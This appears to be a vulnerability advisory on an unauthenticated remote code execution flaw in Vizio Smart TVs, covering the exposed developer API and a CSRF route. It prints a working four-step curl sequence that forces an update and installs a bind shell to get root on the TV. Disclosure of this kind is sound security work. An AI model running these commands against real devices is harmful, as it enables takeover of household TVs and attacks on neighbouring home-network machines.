A remote code execution vulnerability is present in several Vizio Smart TV models. A threat actor on the local network or an internet-connected Vizio TV can exploit the device, with no pre-conditions, to obtain OS-level command execution on the TV and maintain persistence. From this position, a threat actor can lay dormant on the TV and attack neighboring assets. The Vizio TV API, used primarily for control through the mobile web application, enables a threat actor to send unauthenticated developer commands, including the ability to upload and execute a binary file. While the network-based attack can be launched against any Vizio TV connected to Wi-Fi, LAN, or internet without any user interaction, another means of exploitation is possible through a CSRF-based attack. A CSRF-based attack is possible due to the API's open cross-origin-resource-sharing (CORS) policy.
The researcher performed the following procedures to upload a bind shell on the Vizio TV:
HOST="192.168.1.175"
PORT=7345
# Place the device into a new override group
curl -k -s https://${HOST}:${PORT}/scpl/update/override_group -d "device_group=oobe-2020-dev"
# Check for new updates
curl -k -s https://${HOST}:${PORT}/scpl/update/available_update_info -d ""
# Force a device update
curl -k -s https://${HOST}:${PORT}/scpl/update/start_update -d ""
# Upload and install binary file
curl -k -s https://${HOST}:${PORT}/scpl/install -H "Expect:" -F "scpl_tgz_package=@bind_shell.tar.gz;type=application/x-gzip" -F "Install=Install"Once the script executed, the researcher was able to connect to the payload and execute commands as the root user. The same outcome is reachable remotely via a CSRF request delivered to a victim on the same network as the TV.